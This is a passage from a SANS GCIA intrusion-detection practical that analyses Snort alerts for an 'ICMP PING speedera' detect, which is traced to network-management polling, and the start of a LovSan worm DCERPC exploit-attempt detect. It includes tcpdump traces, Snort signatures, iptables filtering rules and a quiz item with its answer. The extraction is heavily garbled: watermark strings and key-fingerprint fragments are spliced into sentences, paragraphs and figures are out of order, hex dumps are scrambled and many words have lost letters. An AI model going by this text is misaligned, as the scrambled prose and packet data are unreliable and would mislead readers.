This detect appears to be an information gathering attempt against an specic host, based on sending as stimulus an ICMP echo request and expecting to receive a response. Key fingerprint =to understand why theFDB5 DE3D F8B5 06E4 A169 4E46 arrive to the In order AF19 FA27 2F94 998D packets that triggered the alerts destination system it is important to analyze all the logged trafc exchanged between the hosts involved: tcpdump options description used in the commands shown in gure 2.16:
te
Figure 2.16: Tcpdump options for detect2
20
04
,A
ut
ho
rr
The detect seems to belongs to a reconnaissance attack, a method that implies information/intelligence gathering. The attacker is trying to nd if the destination hosts is active. Sometimes this is done in preparation for a future attack. It seems there is no CVE [CVE1] number associated with this type of ping variant. Due to the fact that it is a generic scanning technique, it is not possible to nd references in Bugtraq [BUGT1] either. The detect seems to be a false positive notication originated from two network management servers, running the ipcheck ([IPCK1]) software. This conclusion doesnt reduce the value of the analysis because it is really important to be able to know about all the legitimate trafc crossing the network in order to discard the false positives and tune the network IDSes. It would be always recommended, having the intrusion analyst enough time to do so, to follow this kind of analysis for all the alerts triggered by the IDS during the initial deployment and tuning process.
eta
ins
fu ll r igh ts.
Raul Siles - GCIA
# tcpdump -nnevv -r snort.log.1063894999 host 10.139.142.147 and host 10.181.132.49 15:46:27.602417 0:e0:34:ca:c0:23 0:1:2:9:52:f 0800 148: 10.139.142.147.1060 > 10.181.132.49.161: [udp sum ok] { SNMPv1 { GetNextRequest(91) R=433814 .1.3.6.1.2.1.1.1 .1.3.6.1.2.1.1.2 .1.3.6.1.2.1.1.4 .1.3.6.1.2.1.1.5 .1.3.6.1.2.1.1.6 .1.3.6.1.2.1.1.7} } (ttl 121, id 18671, len 134) 15:46:30.603552 0:e0:34:ca:c0:23 0:1:2:9:52:f 0800 74: 10.139.142.147 > 10.181.132.49: icmp: echo request (ttl 121, id 19679, len 60)
Figure 2.18: Alerting packets between 10.139.142.147 and 10.181.132.49
The same scenario is repeated with the second alert, although this time the SNMP packet arrived only 3 seconds before the ICMP packet. The standard pattern of an ICMP echo request using the ping command varies between different operating systems. A rough analysis has been developed for some common OS available in this environment in order to understand the type of ICMP packet involved in the detect: - Linux: (RH 9 - Linux 2.4.20-20.9)
SA
NS
In
sti
tu
te
20
the ICMP packet, there was an SNMP packet 13 seconds before. It generated the [**] [1:1411:3] SNMP public access udp [**] Snort alert due to being a SNMP request (GET-NEXT) using the public read community and asking for the following values: SNMPv2-MIB::sysDescr, sysObjectID, sysContact, sysName, sysLocation and sysServices. This conrms the source as a probable SNMP management station. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 (payload Alerting packets between 10.139.142.147 and 10.181.132.49A169 4E46is not shown) appear in gure 2.18:
04
,A
48
ut
ho
rr
eta
Figure 2.17: Alerting packets between 10.197.231.79 and 10.181.132.49
ins
$ tcpdump -nnevvX -r snort.log.1063894999 host 10.197.231.79 and host 10.181.132.49 09:23:43.102415 0:e0:34:ca:c0:23 0:1:2:9:52:f 0800 148: 10.197.231.79.1258 > 10.181.132.49.161: [udp sum ok] { SNMPv1 { GetNextRequest(91) R=91067 .1.3.6.1.2.1.1.1 .1.3.6.1.2.1.1.2 .1.3.6.1.2.1.1.4 .1.3.6.1.2.1.1.5 .1.3.6.1.2.1.1.6 .1.3.6.1.2.1.1.7} } (ttl 121, id 39462, len 134) 0x0000 4500 0086 9a26 0000 7911 1c46 0ac5 e74f E....&..y..F...O 0x0010 0ab5 8431 04ea 00a1 0072 6591 3068 0201 ...1.....re.0h.. 0x0020 0004 0670 7562 6c69 63a1 5b02 0301 63bb ...public.[...c. 0x0030 0201 0002 0100 304e 300b 0607 2b06 0102 ......0N0...+... 0x0040 0101 0105 0030 0b06 072b 0601 0201 0102 .....0...+...... 0x0050 0500 300b 0607 2b06 0102 0101 0405 0030 ..0...+........0 0x0060 0b06 072b 0601 0201 0105 0500 300b 0607 ...+........0... 0x0070 2b06 0102 0101 0605 0030 0b06 072b 0601 +........0...+.. 0x0080 0201 0107 0500 ...... 09:23:56.051515 0:e0:34:ca:c0:23 0:1:2:9:52:f 0800 74: 10.197.231.79 > 10.181.132.49: icmp: echo request (ttl 121, id 43307, len 60) 0x0000 4500 003c a92b 0000 7901 0d9b 0ac5 e74f E..<.+..y......O 0x0010 0ab5 8431 0800 96dc 0200 6c20 2021 2223 ...1......l..!"# 0x0020 2425 2627 2829 2a2b 2c2d 2e2f 3031 3233 $%&()*+,-./0123 0x0030 3435 3637 3839 3a3b 3c3d 3e3f 456789:;<=>?
fu ll r igh ts.
Raul Siles - GCIA
IP Length: 84 bytes = 20 (IP hdr) + 8 (ICMP hdr) + 56 (ICMP data) ICMP data: XXWW WWWW YYYY ZZ00 0809 0a0b ... 3233 3435
The amount of data in the ICMP echo request packets is conrmed in [OFIR1]. It species Unix OSes typically send 84 bytes (56 bytes of ICMP data) while Windows OSes use 60 bytes (32 bytes of ICMP data). This document also provides information about the ID, TTL values and DF bit, and how they can be used to ngerprint the source OS. Based on this info the source system seems to be a Windows 2000 box without SP applied, although it is not using the standard ping utility. The Snort signature database 27 denes this detect packets, specifying that it seems that http://www.speedera.com uses them to measure the location (the RTT, round trip time) of a client and nd the nearest cache from the client system.
27
http://www.snort.org/snort-db/sid.html?sid=480
SA
NS
- Other OS features are covered in section 6.
In
= AF19 FA27 2F94 998D FDB5 DE3D F8B5 is increased by Key fingerprint ICMP layer: The ICMP sequence number 06E4 A169 4E46 one starting at a random value, using the most signicant byte for the value (the less signicant byte is zero). The ICMP ID eld is a xed value, 512. IP layer: The original TTL value is 128, the DF bit is not set and the IP ID starts at a random sequential value (increased by one). The detect is similar to this packet in the TTL, the ICMP ID, the DF bit and the IP length, but the data payload is different.
sti
tu
te
20
04
,A
IP Length: 60 bytes = 20 (IP hdr) + 8 (ICMP hdr) + 32 (ICMP data) ICMP data: abcdefghijklmnopqrstuvwabcdefghi (fixed string)
ut
- Windows: (2000 SP4)
ho
DATA payload: Where XX is an increasing sequential number and WWWW is a xed number per ping execution (some values are maintained between executions). YYYY is an identier that matches between request and reply packets and that can be repeated along time. ZZ is a value that changes for every execution of the ping command. Then, after this, a NULL value (00) appears and it adds a sequence from 0x08 (25 non printable ASCII chars) to 0x35: ....!"#$%&()*+,-./012345. All these changing values within the ICMP data payload should require a deeper analysis. ICMP layer: The ICMP sequence number starts at 1 and is increased by one for every request and the ICMP ID is a xed value that changes for every ping execution. IP layer: They used to have the dont fragment bit, DF, set, and the IP ID eld is always zero for the ping ICMP requests. Its original TTL value is 64.
rr
49
eta
ins
fu ll r igh ts.
Raul Siles - GCIA
First of all it is important to denote that it wont be possible to nd the same ICMP packets coming from the same source IP addresses from other Internet environments because the packets associated to this detect belong to an internal production network and it was conrmed that these packets never left the company networks. Someone asked for this type of Snort alert and its meaning in July, 2002: http://archives.neohapsis.com/archives/snort/2002-07/thread.html#546
28 29
http://honor.trusecure.com/pipermail/firewall-wizards/2002-August/012860.html http://www.hackinthebox.org/print.php?sid=4654
SA
NS
2.2.6
Correlations
In
sti
The trafc is generated after visiting certain speedera.com (previously .net) sites. Speedera is a streaming/web content delivery company, so they try to improve its QoS, quality of service, measuring the best (closest) server to a specic user; as a counterpart, the user will receive several pings to his host 28 . Speedera usually sends its probes to the nameservers instead of the end clients in order to make work their load balancing solution. The client queries the local nameserver to resolve the address of a Speedera load-balanced cache hosted client website. Then, the nameserver asks the root nameservers who point the nameserver at the authoritative Speedera nameservers. When the nameserver queries Speederas nameserver, it pings the IP address of the system making the query (the nameserver) using their distributed network. It then returns a DNS reply containing the IP address of the fastest cache for your location. The rule was added to Snort in order to distinguish the usually benevolent speerera pings from normal, possibly malevolent pings. It must be considered that an attacker could masquerade its ICMP packets as this type of pings not to raise suspicions. To be able to conrm this fact, the source IP addresses can be resolved, verifying if they belong to the speedera.com domain (although they can be spoofed). These blackhat recommendations also appear in Hack In The Box - Exploiting Weaknesses in Intrusion Detection Systems 29 . Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 to have a As will be mentioned in section 6, the Speedera trafc seems A169 4E46datagram length of 84 bytes (the detect has 60 bytes) and different/random ICMP IDs. The detect has been generated over a internal network not able of receiving Internet ICMP trafc, so Speedera solution is not the reason for this trafc. Therefore, after a specic on-site analysis and research, the packet that triggered this detect was generated by IPCheck [IPCK1].
tu
te
20
04
,A
50
ut
ho
rr
eta
ins
fu ll r igh ts.
Raul Siles - GCIA
Other public Snortsnarf reports have detected the same Snort alert:
- http://w3i.mdcom.co.jp/200301/sig/sigsid-480.html. The main differences are the ICMP ID, the TTL and the datagram length 30 . - http://lists.jammed.com/incidents/2003/02/0009.html (similar packet to the previous reference). - http://www.dc.org/nxana/sn_index178.html - http://eservaas.net/modules/XNORT/?op=showAllSignature&sid=480. Google is full of Snort reports showing this alert.
http://w3i.mdcom.co.jp/200209/211/13/227/src211.13.227.66.html http://www.sans.org/y2k/121100-1200.htm 32 http://www.incidents.org/archives/intrusions/msg02727.html 33 http://project.honeynet.org/scans/scan17/som/som3/IDS152.pdf 34 http://www.whitehats.com/info/ids152 35 http://www.mcabee.org/lists/snort-users/Jul-02/msg00577.html 36 http://www.mcabee.org/lists/snort-users/Jul-02/msg00545.html

31
30
The IPCheck [IPCK1] tool generates the same type of packets as the one present in the detect, such as:
SA
NS
- coolping 35 - IPCheck 36
In
The same alert detect was analyzed by Cory Steers in his GCIA Practical, Intrusion Detection In-Depth, Version 3.1, on May 05, 2002. The detect was triggered in a DSL connection and the packets used a different datagram length, 104 bytes. The Speedera activities were summarized in the following article in year 2000, probably it was the time this signature was created: http://www.linuxsecurity. com/articles/firewalls_article-2064.html; and more information is provided in 31 . A similar behaviour is performed by 3DNS from F5 Labs 32 . Another reference redirects to a Honeynet Scan which is supposed to include this type of trafc 33 . This information has been extracted from the arachNIDS database 34 . This signature is similar to the Linux ping, looking for the following content: Key|08 09 0a = AF19 FA27 2F94 10 11 FDB5 DE3D F8B5 06E4 A169 4E46 fingerprint 0b 0c 0d 0e 0f 998D 12 13 14 15 16 17|. It species that the following OS can generate this type of ping packets, called BSD-type pings: BSD/OS 2.1, BSD/OS 3.1, BSD/OS 4.0.1, Solaris 2.5, Solaris 2.5.1, Solaris 2.6, Solaris 2.7, OpenBSD 2.3, OpenBSD 2.5, FreeBSD 2.2.6 and FreeBSD 3.2. Other ICMP tools are known to generate the type of alerts seen in this detect:
sti
tu
te
20
04
,A
ut
ho
rr
51
eta
ins
fu ll r igh ts.
Raul Siles - GCIA
0000 0010 0020 0030 0040
00 00 22 26 36
00 3c 02 27 37
0c 17 08 28 38
00 f8 00 29 39
00 00 c0 2a 3a
0c 00 fc 2b 3b
00 40 04 2c 3c
00 01 00 2d 3d
0c 9d 40 2e 3e
00 9b 00 2f 3f
00 C0 20 30
0b 22 21 31
08 22 22 32
00 01 23 33
45 C0 24 34
00 22 25 35
...6..........E. .<....@....&!... .P......@. !"#$% &()*+,-./012345 6789:;<=>?
Good defensive recommendations and considerations are discussed in one of the incidents.org thread 37 . Finally, even the ofcial Snort FAQ [SFAQ1] mentions this alert: 6.28 Im getting lots of *ICMP Ping Speedera*, is this bad? Quite ordinary. Windows update uses speedera based DNS, among other things. Of course, if the speedera trafc is coming from a Dialup account (as there have been reports of) its likely a hacker tool. ;-)
As can be easily deduced, this host has been involved in other different scanning processes. Mainly composed by ICMP trafc and SNMP read queries and requests. Lets analyzed the network information where this system acted as source host (gure 2.20).
37
http://www.incidents.org/archives/intrusions/msg03580.html
SA
NS
# tcpdump -nnevv -r snort.log.1063894999 dst host 10.181.132.49 | wc -l 1063 # cat alert | grep -B 4 -e "-> 10\.181\.132\.49" | grep -F "[**]" | sort | \ uniq -c | sort -rn 880 [**] [1:483:2] ICMP PING CyberKit 2.2 Windows [**] 137 [**] [1:1411:3] SNMP public access udp [**] 25 [**] [1:1417:2] AF19 FA27 2F94 Key fingerprint = SNMP request udp [**] 998D FDB5 DE3D F8B5 06E4 5 [**] [1:477:1] ICMP Source Quench [**] 3 [**] [1:469:1] ICMP PING NMAP [**] 2 [**] [1:628:2] SCAN nmap TCP [**] 2 [**] [1:480:2] ICMP PING speedera [**] 2 [**] [1:1292:7] ATTACK-RESPONSES directory listing [**] 2 [**] [111:12:1] (spp_stream4) NMAP FINGERPRINT (stateful) detection [**] 1 [**] [1:620:3] SCAN Proxy (8080) attempt [**] 1 [**] [1:618:4] SCAN Squid Proxy attempt [**] 1 [**] [1:1418:2] SNMP request tcp [**] 1 [**] [1:1228:2] SCAN nmap XMAS [**] 1 [**] [111:10:1] (spp_stream4) STEALTH ACTIVITY (XMAS scan) detection [**]
04
,A
ut
ho
rr
It would be important to analyze all the other alerts going to the destination host to understand the activity taking place in the network (see Figure 2.19).
eta
2.2.7
ins
A169 4E46
In
Figure 2.19: Other alerts to destination host
sti
tu
te
20
52
fu ll r igh ts.
Raul Siles - GCIA
Figure 2.20: Alerts from target as source host
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 7
# tcpdump -nnevv -r snort.log.1063894999 src host 10.139.142.147 | wc -l # cat alert | grep -B 4 -e "[0-9] 10\.139\.142\.147" | grep -F "[**]" | \ sort | uniq -c | sort -rn 6 [**] [1:1411:3] SNMP public access udp [**] 1 [**] [1:480:2] ICMP PING speedera [**]
2.2.8 Severity
Criticality: The target systen is a Linux 2.4.18 box running Red Hat 7.3 over an Intel platform. It is a production system running CVS for some company software developments and it also contains a Web server without relevant information. Therefore its value is 3.
SA
NS
This information conrms the previous statement about the packets origin. Some network management servers are polling managed stations through the ICMP and SNMP protocols.
In
sti
tu
te
Figure 2.21: Alerts from both source hosts
20
04
,A
# tcpdump -nnevv -r snort.log.1063894999 src host 10.197.231.79 | wc -l 8 # cat alert | grep -B 4 -e "[0-9] 10\.197\.231\.79" | grep -F "[**]" |\ sort | uniq -c | sort -rn 7 [**] [1:1411:3] SNMP public access udp [**] 1 [**] [1:480:2] ICMP PING speedera [**]
ut
ho
rr
53
This alert summary seems to show that this system has an SNMP agent running that generates SNMP traps and requests. This validates the hypothesis about being queried in the detect by SNMP management servers. The information associated to both source hosts must also be extracted, and as can be seen, both hosts launched several SNMP queries (gure 2.21).
eta
ins
fu ll r igh ts.
# tcpdump -nnevv -r snort.log.1063894999 src host 10.181.132.49 | wc -l 77 # cat alert | grep -B 4 -e "[0-9] 10\.181\.132\.49"| grep -F "[**]" | \ sort | uniq -c | sort -rn 13 [**] [1:620:3] SCAN Proxy (8080) attempt [**] 13 [**] [1:1421:2] SNMP AgentX/tcp request [**] 12 [**] [1:618:4] SCAN Squid Proxy attempt [**] 12 [**] [1:615:4] SCAN SOCKS Proxy attempt [**] 12 [**] [1:1420:2] SNMP trap tcp [**] 12 [**] [1:1418:2] SNMP request tcp [**] 3 [**] [1:469:1] ICMP PING NMAP [**]
Raul Siles - GCIA
Lethality: Due to the fact that this is a reconnaissance attack, if successful, it will only provide the attacker information about the status of the target, that is, if it is active or not, so its associated value is 1. System countermeasures: System has been protected using a host rewall, iptables, applying a restrictive ingress policy, however all trafc originated from this system is allowed. Apart from that, it has been hardened and only secure and encrypted services have been allowed, like, SSH. It has a good level of protection, so it scores 4. Network countermeasures: The subnet where this detect was notied is an internal LAN network without direct Internet access. All hosts located in it can only access Internet through very specic proxies, protected by rewalls, that only allow the HTTP and HTTPS protocols. However, as this detect shows the network is widely open for other hosts in the internal subnets, so it can be accessed from all the organization, although antispoong lters have been congured between networks. Therefore, its value is 3.
2.2.9
TheKey fingerprint to AF19 FA27 2F94 998D FDB5 DE3D F8B5 system is alive using simplest way = avoid a scan that tries to gure out if a 06E4 A169 4E46 the ICMP protocol is ltering it at some level. It can be done at the perimeter or at the host level. The perimeter, such as in this case, is not only the external layer interconnecting the internal network to Internet, but also the boundaries between the existent internal networks. It is recommended to congure packet ltering devices between these network zones. At the host level it is possible to control which systems will allow incoming ICMP trafc based on its importance and criticality. A host/personal rewall it is always recommended to control the network trafc. The ICMP protocol is always a controversial element from the network/rewall administrators perspective: it is very useful to troubleshoot the network and systems status, using ICMP echo requests and replies, and it is even essential for some network services and applications, based on ICMP unreachables, timeexceeded, parameter problems or source-quenchs types. Therefore it is a network design decision to allow or deny it in every portion of the network. Due to the fact that the target system is running Linux, it is recommended to use the iptables packet ltering solution. The following example shows a basic, but restrictive, ICMP ltering conguration based on a default DROP action for the INPUT chain:
SA
NS
In
sti
tu
te
20
04
,A
54
ut
3 = (3 + 1) (4 + 3)
ho
So the resultant Severity value is:
rr
eta
ins
fu ll r igh ts.
Raul Siles - GCIA
# PING: echo request input (See "iptables -p icmp -h") -A INPUT -p icmp --icmp-type echo-request -j ACCEPT # ICMP types needed: -A INPUT -p icmp --icmp-type -A INPUT -p icmp --icmp-type -A INPUT -p icmp --icmp-type -A INPUT -p icmp --icmp-type
a) b) c) d)
!"#$%&()*+,-./012345 .!"#$%&()*+,-./0123456789:;<=>? abcdefghijklmnopqrstuvwabcdefghi 495353504e475251
Correct answer: b)
SA
NS
alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP PING speedera"; content: "|3839 3a3b 3c3d 3e3f|"; depth: 100; itype: 8; sid:480; classtype:misc-activity; rev:2;)
In
sti
What of the following ICMP echo request packet payloads is associated to the following ICMP PING speedera alert?
tu
te
2.2.10
20
Due to the fact that the detect is based on ICMP echo request packets it is not possible to apply other ICMP defensive recommendation at the host TCP/IP stack level. Most of the nowadays commonly used OS implement methods to tune their communication stack disabling the reply of, for example, ICMP broadcast messages to avoid smurf attacks. The ICMP Usage In Scanning [OFIR1] denes the different methods the ICMP protocol can be used to attack a remote system. It is recommended to analyze all them in order to protect a given network. From a monitoring point of view, Sys-Security.com [ICMP1] released a more advanced basic ICMP rules for Snort. The rule base also alerts for a legitimate ICMP Type with a bad ICMP Code. These signatures will help to identify all the main and most common different ICMP packets types because they provide an initial ICMP categorization. Finally, it is recommended not to use the default SNMP read community, pubKey fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 lic, to manage SNMP environments.
04
,A
ut
ho
rr
55
eta
ins
fu ll r igh ts.
destination-unreachable source-quench time-exceeded parameter-problem
-j -j -j -j
ACCEPT ACCEPT ACCEPT ACCEPT
2.2. DETECT 2: PING SPEEDERA Explanations:
Raul Siles - GCIA
SA
NS
In
sti
tu
te
20
04
,A
56
ut
ho
rr
eta
ins
fu ll r igh ts.
a) This is the ICMP payload associated to the default Linux 2.4 ping packet. b) This is the packet content that triggered the ICMP PING speedera alert. The alert search for the 89:;<=>? string, specied in the content parameter: |3839 3a3b 3c3d 3e3f|. c) This is the ICMP payload associated to the default Windows 2000 ping packet. d) This is the ICMP content searched by the ICMP ISS Pinger alert. See Snort icmp.rules.
Raul Siles - GCIA
2.3. DETECT 3: REACHED BY THE LOVSAN WORM
2.3
DETECT 3: Reached by the LovSan worm
The following alert corresponds to the detect that it is going to be analyzed:

[**] [1:2192:1] NETBIOS DCERPC ISystemActivator bind attempt [**]
2.3.1
Source of Trace
Key
The detect was generated through the Snort [SNOR1] Network Intrusion Detection System, NIDS, version 2.0.2 (Build 92), running on a RedHat Linux 9 system for an Intel platform. The Snort stable ruleset available on October 11th was downloaded from the Snort website 38 and applied using a slightly modied version of the Snort conguration le (snort.conf): the 11 include rule lines commented by default in this le were activated. The following command was used to analyzed the log le:
# snort -c /opt/snort-2.0.2/etc/snort.conf -l ./log -qebUX
Snort options are shown in gure 2.23.

38
http://www.snort.org/dl/rules/snortrules-stable.tar.gz
SA
NS
In
sti
2.3.2 Detect was generated by
tu
te
20
192.168.200.0/24 Internet ----- ADSL router ----- HUB ----- Internal 00:04:76:94:D3:81 | host | 00:0C:29:47:E1:7F | 192.168.200.150 | fingerprint = AF19 FA27 2F94 998D FDB5 DE3D Snort IDS
04
,A
ut
ho
The detect was generated by a Snort instance running in a SOHO, Small Ofce/Home Ofce, network. The sensor monitors all trafc going to and coming from the unique system available. The network scenario is based on an ADSL router connected to Internet with a xed/static public IP address. This routing device is congured to nat the internal network, 192.168.200.0/24, to the external valid Internet address; more specically, all trafc sent to the external address is redirected to the internal host (192.168.200.150). The internal host was a Windows 2000 SP4 system. This was the network topology involved:
rr
57
eta
ins
F8B5 06E4 A169 4E46
fu ll r igh ts.

-c FILE: -l DIR: -q: -e: -b: -U: -X:
Raul Siles - GCIA
specifies the Snort configuration file (described above) and run Snort in NIDS mode. logging directory: alerts and packet logging. dont show banner and status/summary report. display layer-2 header information, such as Ethernet. log in binary tcpdump format. use UTC time reference. dump the raw packet data starting at the link layer.
The generated alert le contained a total of 10939 alerts triggered during a one week period, between 14th of October, 22:56 and 21st of October, 8:25 (from 10/14-22:56:27.924 to 10/21-08:25:40.438). See gure 2.24.
Figure 2.24: Alerts triggered for detect3
The alert details are shown in gure 2.25.

[**] [1:2192:1] NETBIOS DCERPC ISystemActivator bind attempt [**] [Classification: Attempted Administrator Privilege Gain] [Priority: 1] 10/15-07:32:48.342444 0:4:76:94:D3:81 -> 0:C:29:47:E1:7F type:0x800 len:0x7E 80.35.183.163:4011 -> 192.168.200.150:135 TCP TTL:118 TOS:0x0 ID:53361 IpLen:20 DgmLen:112 DF ***AP*** Seq: 0x6BA757B7 Ack: 0xDAF15574 Win: 0xFAF0 TcpLen: 20 [Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0352]
SA
NS
The alert is classied by Snort as an attempt to get privilege access in the destination system, by default a high priority attack (Priority:1). Alert signature classication and priorities are dened in Snort etc/classification.config le. It was detected by the main Snort Rule Engine, identied by rst 1 number, and its signature is 2192, revision 1. Therefore the alert identier is [1:2192:1]. The high signature number (2192) denotes it has been created recently (near August 2003), conrmed by the fact that it is the rst revision. 58
In
Figure 2.25: Network detect for detect3
sti
tu
te
$ grep -F "80.35.183.163" alert 80.35.183.163:4011 -> 192.168.200.150:135 TCP TTL:118 TOS:0x0 ID:53361 IpLen:20 DgmLen:112 DF
20
The alert this detect is focused on was the top alert in the list, which appeared 5426 times. We focused on one2F94 998DcomingDE3D host 80.35.183.163. There Key fingerprint = AF19 FA27 of these, FDB5 from F8B5 06E4 A169 4E46 was only one specic alert generated by this source host:
04
,A
ut
ho
$ cat alert | grep -F "[**]" | sort | uniq -c | sort -rn 5426 [**] [1:2192:1] NETBIOS DCERPC ISystemActivator bind attempt [**] 4436 [**] [1:1463:5] CHAT IRC message [**] 205 [**] [1:648:5] SHELLCODE x86 NOOP [**] 133 [**] [1:2251:3] NETBIOS DCERPC Remote Activation bind attempt [**] ...
rr
eta
ins
$ grep -F "[**]" alert | wc -l 10939
fu ll r igh ts.
Raul Siles - GCIA
The datagram is an IP packet (type:0x800) and was sent by the local gateway
[0:4:76:94:D3:81] to the local host [0:C:29:47:E1:7F] at layer 2, although it is
epmap
135/tcp
loc-srv
#DCE endpoint resolution
- Packet must belong to a existing TCP session and go from client to server (flow:to server,established). This directive is used by the stream4 Snort preprocessor. - The following set of patterns should match in the packet payload: A 05 value (content:"|05|") within rst byte (within:1), skipping zero bytes from the beginning of the packet (distance:0). This means the DCE RPC version must be 5.
SA
NS
The alert is triggered every time a TCP packet going to port 135 is detected an the following conditions are met:
In
alert tcp $EXTERNAL_NET any -> $HOME_NET 135 (msg:"NETBIOS DCERPC ISystemActivator bind attempt"; flow:to_server,established; content:"|05|"; distance:0; within:1; content:"|0b|"; distance:1; within:1; byte_test:1,&,1,0,relative; content:"|A0 01 00 00 00 00 00 00 C0 00 00 00 00 00 00 46|"; distance:29; within:16; reference:cve, CAN-2003-0352; classtype:attempted-admin; sid:2192; rev:1;)
sti
tu
te
20
The segment was 126 bytes in length (len:0x7E). Of those, 14 bytes belong to the Ethernet header. Therefore, the datagram at layer-3 has 112 bytes (DgmLen:112). It has 20 bytes of IP header (IpLen:20) and 20 bytes of TCP header (TcpLen:20), so the TCP payload is 72 bytes (not shown in the alert message). The TTL value was 118, so probably the original TTL was 128 and the source was 10 hops away (this will be veried later). No TOS ags were set but the dont fragment bit, DF, was on. TCP sequence number and ACK value are normal, the IP ID eld is 53361 while the TCP window is 64240. All these elds could help to determine the source system based on ngerprinting methods [PASS1]. The source host seems to be running Windows 2000 at rst sight. The alert references a CVE vulnerability associated to this detect (analyzed in section 4). The alert was FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 Key fingerprint = AF19 triggered by the following Snort rule that belongs to the Snort netbios.rules le:
04
,A
ut
ho
rr
59
eta
ins
fu ll r igh ts.
coming from the previously mentioned IP address (80.35.183.163) to the local system IP address (192.168.200.150). It corresponds to a TCP packet, with two ags set, ACK and PUSH, from a client ephemeral port (4011) addressed to the typical Windows DCE RPC server port (135). This port is dened in the Windows services le (%WINDIR%\system32\drivers\etc\services) as:
Raul Siles - GCIA
A 0b value (content:"|0b|") within next byte skipping 1 byte (distance:1), that is, in the third packet octet. This byte species the DCE RPC packet type, in this case a Bind packet (0x0b). The byte test operator tells Snort to test a eld against a specic value based on numerical/binary operations. In this case byte test:1,&,1,0,relative; means pick up 1 byte from packet, apply the logical AND operator (&) against value 01, and process it going 0 bytes into the payload. The relative keyword means to use an offset from the last pattern matching. To sum up, the test will be true if the next byte after the 0b has the LSB set. Next RPC packet eld denes the packet ags, and the LSB denes the First Fragment ag, that is, this is the rst fragment of this RPC command. In the detect packet, the next byte value is 03 (ags First Frag and Last Frag were set), so 03 & 01 = 01, meaning the tested ag is set. The content A0 01 00 00 00 00 00 00 C0 00 00 00 00 00 00 46 must be found within the next 16 bytes (within:16) starting at byte 33 (d:0 + w:1 + d:1 + w:1 + d:29 (distance:29); next byte is 33rd). This eld corresponds inside the RPC protocol to the Interface UUID value. - Finally the alert signature has been given an identier (sid:2192; rev:1;) and classied (classtype:attempted-admin;). A external CVE reference has been provided by Snort (reference:cve,CAN-2003-0352;). Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
Typically, the TCP sessions are difcult to be spoofed, due to the fact that the 3-way handshake must be completed and, continuously, the sequence number validation must be synchronized in order to continue sending and receiving data. In this case, and due to the fact that thousand of attempts to exploit this vulnerability were received, a complete network audit trail was captured. It was possible to conrm the establishment of some complete TCP sessions from the source, so its IP address seems legitimate, not spoofed. This statement is also supported by the fact that a TTL test comparison was made against the source address to determine if the address was spoofed or not using the traceroute command. It was conrmed that there were 10 hops from the IDS box segment to the source system (original TTL (128) - observed TTL (118)). The source address was checked in RIPE [RIPE1] and it belongs to the following address space, 80.32.0.0 - 80.35.255.255 (80.32.0.0/16), registered
SA
NS
In
sti
2.3.3
tu
te
The DCE RPC protocol packet format can be obtained from DCE 1.1 RPC Specication [DCE1] [RFC1057] [RFC1831] or Ethereal [ETHE1]. See gure 2.26.
20
04
,A
60
ut
ho
rr
eta
ins
fu ll r igh ts.
Raul Siles - GCIA
$ ethereal -r snort.log.1066164714 -R ip.addr == 80.35.183.163 & ... <<graphical view>> ... DCE RPC Version: 5 (*) Version (minor): 0 Packet type: Bind (11) (*) Packet Flags: 0x03 0... .... = Object: Not set .0.. .... = Maybe: Not set ..0. .... = Did Not Execute: Not set ...0 .... = Multiplex: Not set .... 0... = Reserved: Not set .... .0.. = Cancel Pending: Not set .... ..1. = Last Frag: Set .... ...1 = First Frag: Set (*) Data Representation: 10000000 Byte order: Little-endian (1) Character: ASCII (0) Floating-point: IEEE (0) Frag Length: 72 Auth Length: 0 Call ID: 127 Max Xmit Frag: 5840 Max Recv Frag: 5840 Assoc Group: 0x00000000 Num Ctx Items: 1 Context ID: 1 Num Trans Items: 1 Interface UUID: 000001a0-0000-0000-c000-000000000046 (*) Interface Ver: 0 Interface Ver Minor: 0 Transfer Syntax: 8a885d04-1ceb-11c9-9fe8-08002b104860 fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 Syntax ver: 2
Key
04
,A
ut
ho
rr
61
eta
ins
(*) Fields checked by the alert signature.
The detect belongs to an attempt to exploit the Microsoft MS003-26 vulnerability associated to the Windows operating systems, version NT 4.0, 2000, XP, and Server 2003. It allows a remote attacker to execute arbitrary code via a malformed RPC message.
39
39
http://www.microsoft.com/technet/security/bulletin/MS03-026.asp
2.3.4
SA
by RIMA (Red IP Multi Acceso)- TELEFONICA DE ESPANA a Telecom Service Provider company located in Spain. This IP address (80.35.183.163) can be resolved to 163.Red-80-35-183.pooles. rima-tde.net what conrms the previous information, and seems to be an address associated to a pool used for end users.
NS
In
sti
tu
te
20
Figure 2.26: DCE RPC packet format
fu ll r igh ts.
06E4 A169 4E46
Raul Siles - GCIA
http://www.xfocus.org http://www.xfocus.org/advisories/200307/4.html 42 http://www.xfocus.org/documents/200307/2.html 43 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0352 44 http://www.securityfocus.com/bid/8205 45 http://www.cert.org/advisories/CA-2003-16.html 46 http://www.cert.org/advisories/CA-2003-19.html 47 http://us.mcafee.com/virusInfo/default.asp?id=description&virus_k=100552 48 http://www.pandasoftware.com/virus_info/encyclopedia/overview.aspx?idvirus= 40390 49 http://securityresponse.symantec.com/avcenter/venc/data/w32.blaster.c.worm.html 50 http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=WORM_MSBLAST. GEN 51 http://www.vsantivirus.com/lovsan-c.htm 52 http://www.cert.org/advisories/CA-2003-20.html 53 http://us.mcafee.com/virusInfo/default.asp?cid=9043 54 http://www.pandasoftware.com/virus_info/ 55 http://www.symantec.com/search/ 56 http://www.trendmicro.com/vinfo/virusencyclo/ 57 http://www.vsantivirus.com/
41
SA
NS
In
sti
tu
te
40
20
